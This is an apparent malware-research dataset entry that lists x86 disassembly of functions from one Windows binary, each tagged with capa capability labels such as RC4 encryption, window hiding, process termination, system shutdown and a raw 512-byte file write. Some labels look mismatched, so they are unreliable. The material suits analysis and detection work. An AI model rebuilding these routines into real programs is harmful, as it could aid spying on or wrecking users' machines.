joyce8/EMBER2024-capa huggingface dataset:
Function at 0x472698
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, ecx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [ebp - 0x24]
jge 0x4726ca
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [ebp - 0x24], eax
mov eax, esi
call fcn.004725ac
mov dword [ebp - 0x1c], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x19], al
lea ecx, [ebp - 0x10]
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004bfb60
test al, al
je 0x4727c5
mov edx, dword [ebp - 0x2c]
xor eax, eax
call fcn.0042ae5c
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x20]
mov edx, dword [ebp - 0x24]
call fcn.0042ad98
dec eax
pop edx
sub eax, edx
jl 0x4727c5
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
imul dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x30]
xor eax, eax
call fcn.0042ae5c
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov edx, dword [ebp - 0x28]
call fcn.0042ad98
mov edi, eax
dec edi
pop eax
sub edi, eax
jl 0x4727b9
inc edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
lea ecx, [eax + edx*4]
xor eax, eax
mov al, byte [ecx + 2]
xor edx, edx
mov dl, byte [ebp - 0x1a]
sub eax, edx
mov esi, ebx
and esi, 0xff
imul esi
push ecx
mov ecx, 0x64
cdq
idiv ecx
pop ecx
sub byte [ecx + 2], al
xor eax, eax
mov al, byte [ecx + 1]
xor edx, edx
mov dl, byte [ebp - 0x1b]
sub eax, edx
imul esi
push ecx
mov ecx, 0x64
cdq
idiv ecx
pop ecx
sub byte [ecx + 1], al
xor eax, eax
mov al, byte [ecx]
xor edx, edx
mov dl, byte [ebp - 0x1c]
sub eax, edx
imul esi
mov esi, 0x64
cdq
idiv esi
sub byte [ecx], al
mov al, byte [ebp - 0x19]
mov byte [ecx + 3], al
inc dword [ebp - 0x14]
dec edi
jne 0x47274f
inc dword [ebp - 0x18]
dec dword [ebp - 0x20]
jne 0x47271c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x47b6c4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
mov edi, ecx
mov esi, edx
mov ebx, eax
mov ebp, 0x526d80
test esi, esi
jne 0x47b6de
xor eax, eax
jmp 0x47b7e0
cmp dword [ebp], 0
jne 0x47b6e9
call fcn.0047b654
xor ebx, 0xffffffff
cmp edi, 8
jb 0x47b7b9
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
sub edi, 8
cmp edi, 8
jae 0x47b6f5
test edi, edi
jbe 0x47b7db
xor eax, eax
mov al, byte [esi]
xor eax, ebx
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
dec edi
test edi, edi
ja 0x47b7bd
mov eax, ebx
xor eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x491690
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x49174a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404e00
mov eax, dword [0x525014]
cmp dword [eax], 2
jne 0x4916ff
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00405078
mov eax, dword [ebx]
call fcn.00404f9c
push eax
mov eax, dword [ebx]
call fcn.00404f8c
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00404f9c
mov edx, eax
dec edx
mov eax, ebx
call fcn.00405078
jmp 0x491731
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409c9c
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00404f7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x491751
lea eax, [ebp - 0x3f0]
call fcn.004046f4
ret
Function at 0x49b728
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffdc
mov ebp, edx
mov ebx, eax
cmp dword [ebx + 0x68], 0
jne 0x49b740
mov eax, ebx
call fcn.0049b4c0
cmp dword [ebx + 0x60], 0
jne 0x49b74d
mov eax, ebx
call fcn.0049b418
mov esi, dword [ebx + 0x68]
test esi, esi
je 0x49b8f1
cmp dword [ebx + 0x60], 0
je 0x49b8f1
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [esp], eax
mov eax, dword [ebx + 0x68]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [esp + 4], eax
lea edx, [esp + 0x14]
mov eax, ebx
call fcn.0049b39c
mov edx, dword [esp + 0x1c]
mov ecx, edx
mov esi, dword [esp + 0x14]
sub ecx, esi
mov eax, dword [esp]
cmp ecx, eax
je 0x49b7c0
mov ecx, dword [esp + 4]
sub ecx, dword [esp + 0x20]
add ecx, dword [esp + 0x18]
sar ecx, 1
jns 0x49b7a9
adc ecx, 0
push ecx
sub eax, edx
add eax, esi
sar eax, 1
jns 0x49b7b5
adc eax, 0
push eax
lea eax, [esp + 0x1c]
push eax
call sub.user32.dll_InflateRect
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0xd8]
test eax, eax
je 0x49b7d6
call fcn.00449d20
mov esi, eax
jmp 0x49b7d9
mov esi, dword [ebx + 0x48]
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
and eax, 8
cmp eax, 8
jne 0x49b7ee
or esi, 0xffffffff
jmp 0x49b7f8
push 3
push esi
call sub.user32.dll_GetWindow
mov esi, eax
mov edi, 0x610
mov edx, dword [esp + 0x14]
mov eax, dword [ebx + 0x60]
call fcn.00442c70
mov edx, dword [esp + 0x18]
mov eax, dword [ebx + 0x60]
call fcn.00442c94
mov edx, dword [esp]
mov eax, dword [ebx + 0x60]
call fcn.00442cbc
mov edx, dword [esp + 4]
mov eax, dword [ebx + 0x60]
call fcn.00442ce0
lea ecx, [esp + 8]
xor edx, edx
xor eax, eax
call fcn.00406b98
mov eax, ebp
mov byte [esp + 0x12], al
mov byte [esp + 0x10], 0
mov byte [esp + 0x11], 0
mov byte [esp + 0x13], 1
or edi, 2
or edi, 1
push edi
push 0
push 0
push 0
push 0
push esi
mov eax, dword [ebx + 0x60]
call fcn.00449d20
push eax
call sub.user32.dll_SetWindowPos
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0xffffffffffffffec
mov eax, dword [ebx + 0x60]
call fcn.00449d20
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80000
or eax, 0x8000000
or eax, 0x20
push eax
push 0xffffffffffffffec
mov eax, dword [ebx + 0x60]
call fcn.00449d20
push eax
call sub.user32.dll_SetWindowLongA
push 2
lea eax, [esp + 0x14]
push eax
push 0x1fffffff
lea eax, [esp + 0x14]
push eax
mov eax, dword [ebx + 0x68]
call fcn.00428c40
call fcn.00424630
push eax
lea eax, [esp + 0x14]
push eax
push 0
push esi
mov eax, dword [ebx + 0x60]
call fcn.00449d20
push eax
call dword [0x526e3c]
push 4
mov eax, dword [ebx + 0x60]
call fcn.00449d20
push eax
call sub.user32.dll_ShowWindow
push esi
push 0
call sub.user32.dll_ReleaseDC
add esp, 0x24
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4b8b28
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, ecx
mov edi, edx
mov ebx, eax
mov eax, ebx
call fcn.004b8b14
test eax, eax
jne 0x4b8b49
mov eax, esi
call fcn.004046f4
jmp 0x4b8bda
mov eax, ebx
call fcn.004b8c78
test al, al
je 0x4b8b8f
push 0
push 0
push 0xe
mov eax, dword [ebx + 0x54]
push eax
call sub.user32.dll_SendMessageA
mov edi, eax
mov eax, esi
mov ecx, edi
xor edx, edx
call fcn.004047e4
test edi, edi
je 0x4b8b86
mov eax, dword [esi]
push eax
inc edi
push edi
push 0xd
mov eax, dword [ebx + 0x54]
push eax
call sub.user32.dll_SendMessageA
jmp 0x4b8bda
mov eax, esi
call fcn.004046f4
jmp 0x4b8bda
mov ebp, dword [ebx + 0x78]
test ebp, ebp
je 0x4b8bd3
mov eax, dword [ebp + 0x208]
call fcn.0041a300
test eax, eax
jle 0x4b8bc1
mov eax, dword [ebx + 0x78]
mov eax, dword [eax + 0x208]
mov edx, edi
call fcn.00469988
mov edx, dword [eax + 0xc]
mov eax, esi
call fcn.00404748
jmp 0x4b8bda
mov eax, esi
mov edx, dword [ebx + 0x78]
mov edx, dword [edx + 0x210]
call fcn.00404748
jmp 0x4b8bda
mov eax, esi
call fcn.004046f4
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ba8c8
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
push 1
push esi
mov ecx, 1
xor edx, edx
xor eax, eax
call fcn.00406b7c
push esi
push 0
push 0x419
mov eax, dword [ebx + 0x54]
push eax
call sub.user32.dll_SendMessageA
pop esi
pop ebx
ret
Function at 0x4fd4a4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffdc
mov ebp, edx
mov ebx, eax
cmp dword [ebx + 0x6c], 0
jne 0x4fd4bc
mov eax, ebx
call fcn.004fcd38
cmp dword [ebx + 0x68], 0
jne 0x4fd4c9
mov eax, ebx
call fcn.004fcc94
mov esi, dword [ebx + 0x6c]
test esi, esi
je 0x4fd679
cmp dword [ebx + 0x68], 0
je 0x4fd679
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [esp], eax
mov eax, dword [ebx + 0x6c]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [esp + 4], eax
lea edx, [esp + 0x14]
mov eax, ebx
call fcn.004fcb04
lea eax, [esp + 0x14]
xor edx, edx
call fcn.00500354
cmp eax, dword [esp]
je 0x4fd54b
lea eax, [esp + 0x14]
xor edx, edx
call fcn.00500368
mov edx, dword [esp + 4]
sub edx, eax
sar edx, 1
jns 0x4fd527
adc edx, 0
push edx
lea eax, [esp + 0x18]
xor edx, edx
call fcn.00500354
mov edx, dword [esp + 4]
sub edx, eax
sar edx, 1
jns 0x4fd540
adc edx, 0
push edx
lea eax, [esp + 0x1c]
push eax
call sub.user32.dll_InflateRect
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x4fd55e
mov eax, dword [eax + 0x18]
call fcn.00449d20
mov esi, eax
jmp 0x4fd561
mov esi, dword [ebx + 0x50]
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
and eax, 8
cmp eax, 8
jne 0x4fd576
or esi, 0xffffffff
jmp 0x4fd580
push 3
push esi
call sub.user32.dll_GetWindow
mov esi, eax
mov edi, 0x610
mov edx, dword [esp + 0x14]
mov eax, dword [ebx + 0x68]
call fcn.00442c70
mov edx, dword [esp + 0x18]
mov eax, dword [ebx + 0x68]
call fcn.00442c94
mov edx, dword [esp]
mov eax, dword [ebx + 0x68]
call fcn.00442cbc
mov edx, dword [esp + 4]
mov eax, dword [ebx + 0x68]
call fcn.00442ce0
lea ecx, [esp + 8]
xor edx, edx
xor eax, eax
call fcn.00406b98
mov eax, ebp
mov byte [esp + 0x12], al
mov byte [esp + 0x10], 0
mov byte [esp + 0x11], 0
mov byte [esp + 0x13], 1
or edi, 2
or edi, 1
push edi
push 0
push 0
push 0
push 0
push esi
mov eax, dword [ebx + 0x68]
call fcn.00449d20
push eax
call sub.user32.dll_SetWindowPos
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0xffffffffffffffec
mov eax, dword [ebx + 0x68]
call fcn.00449d20
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80000
or eax, 0x8000000
or eax, 0x20
push eax
push 0xffffffffffffffec
mov eax, dword [ebx + 0x68]
call fcn.00449d20
push eax
call sub.user32.dll_SetWindowLongA
push 2
lea eax, [esp + 0x14]
push eax
push 0x1fffffff
lea eax, [esp + 0x14]
push eax
mov eax, dword [ebx + 0x6c]
call fcn.00428c40
call fcn.00424630
push eax
lea eax, [esp + 0x14]
push eax
push 0
push esi
mov eax, dword [ebx + 0x68]
call fcn.00449d20
push eax
call dword [0x526e3c]
push 4
mov eax, dword [ebx + 0x68]
call fcn.00449d20
push eax
call sub.user32.dll_ShowWindow
push esi
push 0
call sub.user32.dll_ReleaseDC
add esp, 0x24
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4fd8e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffa4
mov dword [esp], eax
mov eax, dword [esp]
xor ecx, ecx
mov edx, 0x10
call fcn.004032c8
lea eax, [esp + 0x38]
push eax
call sub.kernel32.dll_GetSystemInfo
call sub.user32.dll_GetDesktopWindow
test eax, eax
je 0x4fdacc
push 0
push 0x4fdad4
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4fdacc
push 0
push 0x4fdae4
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4fdacc
push 0
push 0x4fdaf4
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4fdacc
push 0
push 0x4fdb04
push 0
push eax
call sub.user32.dll_FindWindowExA
mov ebp, eax
test ebp, ebp
je 0x4fdacc
push 0
push 0
push 0x418
push ebp
call sub.user32.dll_SendMessageA
mov dword [esp + 4], eax
cmp dword [esp + 4], 1
jl 0x4fdacc
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push ebp
call sub.user32.dll_GetWindowThreadProcessId
cmp dword [esp + 8], 0
je 0x4fdacc
mov eax, dword [esp + 8]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov edi, eax
test edi, edi
je 0x4fdacc
push 0x40
push 0x1000
push 0x1000
push 0
push edi
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
test esi, esi
je 0x4fdacc
or ebx, 0xffffffff
cmp ebx, dword [esp + 4]
jge 0x4fdab8
inc ebx
push esi
push ebx
push 0x417
push ebp
call sub.user32.dll_SendMessageA
test eax, eax
je 0x4fdaae
lea eax, [esp + 0xc]
push eax
push 0x18
lea eax, [esp + 0x1c]
push eax
push esi
push edi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x4fdaae
test byte [esp + 0x1d], 0xd
jne 0x4fdaae
mov al, byte [esp + 0x1c]
and al, 8
cmp al, 8
je 0x4fdaae
lea eax, [esp + 0xc]
push eax
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x2c]
push eax
push edi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x4fdaae
cmp dword [esp + 0xc], 0
je 0x4fdaae
mov eax, dword [0x524e6c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
cmp eax, dword [esp + 0x10]
jne 0x4fdaae
push esi
push ebx
push 0x41d
push ebp
call sub.user32.dll_SendMessageA
test eax, eax
je 0x4fda8a
lea eax, [esp + 0xc]
push eax
push 0x10
mov eax, dword [esp + 8]
push eax
push esi
push edi
call sub.kernel32.dll_ReadProcessMemory
cmp dword [esp + 0xc], 0
je 0x4fdab8
lea eax, [esp + 0x28]
push eax
push ebp
call sub.user32.dll_GetWindowRect
mov eax, dword [esp]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
call fcn.00406bdc
jmp 0x4fdab8
cmp ebx, dword [esp + 4]
jl 0x4fd9ee
push 0x8000
push 0
push esi
push edi
call sub.kernel32.dll_VirtualFreeEx
push edi
call sub.kernel32.dll_CloseHandle
add esp, 0x5c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4ff1fc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4ff26d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [0x5243e4]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
cmp dword [ebp - 4], 0
je 0x4ff257
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.004ff1ec
mov eax, dword [ebp - 8]
push eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4fefc4]
call fcn.004ff294
mov dword [0x524448], eax
mov eax, dword [ebp - 4]
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ff274
lea eax, [ebp - 8]
call fcn.0040636c
ret

Function at 0x4ff44c
Capabilities:
Get file system object information

Disassembly:
add esp, 0xfffffea0
mov eax, esp
xor ecx, ecx
mov edx, 0x160
call fcn.004032c8
push 0x4001
push 0x160
lea eax, [esp + 8]
push eax
push 0
push 0x4ff4e4
call sub.shell32.dll_SHGetFileInfoA
mov dword [0x5243dc], eax
cmp dword [0x5243dc], 0
je 0x4ff4dc
cmp dword [0x5243e0], 0
jne 0x4ff4dc
xor ecx, ecx
mov dl, 1
mov eax, dword [0x484cf0]
call fcn.0048558c
mov dword [0x5243e0], eax
mov edx, dword [0x5243dc]
mov eax, dword [0x5243e0]
call fcn.00450658
mov eax, dword [0x5243e0]
mov byte [eax + 0x42], 1
mov dl, 1
mov eax, dword [0x5243e0]
call fcn.00486c50
push 0xffffffffffffffff
mov eax, dword [0x5243e0]
call fcn.00450694
push eax
call sub.comctl32.dll_ImageList_SetBkColor
add esp, 0x160
ret

Function at 0x500cd4
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffe9c
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [esp], eax
mov eax, ebx
call fcn.00409720
test al, al
je 0x500d5b
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x160
call fcn.004032c8
or esi, 0x100
test esi, esi
jns 0x500d0f
call fcn.00403818
push esi
push 0x160
lea eax, [esp + 0xc]
push eax
push 0
mov eax, ebx
call fcn.00404bb4
push eax
call sub.shell32.dll_SHGetFileInfoA
test eax, eax
je 0x500d5b
mov dl, 1
mov eax, dword [0x4226cc]
call fcn.0042a20c
mov dword [esp], eax
mov edx, dword [esp + 4]
mov eax, dword [esp]
call fcn.0042a618
mov eax, dword [esp]
mov edx, dword [eax]
call dword [edx + 0x1c]
test al, al
je 0x500d5b
mov eax, esp
call fcn.0040ebcc
mov eax, dword [esp]
add esp, 0x164
pop esi
pop ebx
ret
Function at 0x51897c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404ba4
xor eax, eax
push ebp
push 0x518a12
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov eax, dword [ebp - 4]
call fcn.00404bb4
push eax
push 0
call sub.kernel32.dll_FindResourceA
mov ebx, eax
push ebx
push 0
call sub.kernel32.dll_LoadResource
mov esi, eax
push ebx
push 0
call sub.kernel32.dll_SizeofResource
mov ebx, eax
push esi
call sub.kernel32.dll_LockResource
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
mov ecx, ebx
mov edx, dword [ebp - 8]
call fcn.004047e4
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00404748
push esi
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x518a19
lea eax, [ebp - 0xc]
call fcn.004046f4
lea eax, [ebp - 4]
call fcn.004046f4
ret

Function at 0x518a38
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, eax
mov dword [ebp - 8], 0x10
mov eax, dword [ebp - 8]
call fcn.00402a54
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x518a92
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x518a7c
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004048ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x518a99
mov eax, dword [ebp - 4]
call fcn.00402a84
ret

Function at 0x518aa0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
call fcn.004050c0
lea eax, [ebp - 8]
call fcn.004050c0
lea eax, [ebp + 0x10]
call fcn.004050c0
lea eax, [ebp + 0xc]
call fcn.004050c0
xor eax, eax
push ebp
push 0x518b46
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_Wow64DisableWow64FsRedirection
test eax, eax
je 0x518b07
push esi
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.shell32.dll_ShellExecuteW
jmp 0x518b1e
push esi
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x518b4d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404e18
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.00404e18
ret

Function at 0x519874
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
mov edx, ebx
mov eax, esp
call fcn.00409c9c
add esp, 0x108
pop ebx
ret
Function at 0x51b230
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x525014]
cmp dword [eax], 2
jne 0x51b2aa
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x51b2aa
lea eax, [esp + 0xc]
push eax
push 0x51b2c0
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x51b2aa
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret

Function at 0x51b2d4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ba4
xor eax, eax
push ebp
push 0x51b455
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
xor edx, edx
mov eax, 2
call fcn.00516390
mov esi, eax
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
mov eax, esi
call fcn.005163b0
mov ebx, eax
jmp 0x51b421
lea eax, [ebp - 0x138]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404964
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409924
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408c14
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408c14
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404b00
je 0x51b3f8
lea eax, [ebp - 0x144]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404964
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408c14
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408c14
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404b00
jne 0x51b412
push 0
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edi, eax
lea edx, [ebp - 0x12c]
mov eax, esi
call fcn.005163d0
mov ebx, eax
test ebx, ebx
jne 0x51b353
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51b45c
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404718
lea eax, [ebp - 4]
call fcn.004046f4
ret

Function at 0x51bb3c
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xfffffdfc
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x51bb94
call sub.kernel32.dll_CreateFileA
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x200
call fcn.004078f0
push 0
lea eax, [esp + 4]
push eax
push 0x200
lea eax, [esp + 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
add esp, 0x204
pop ebx
ret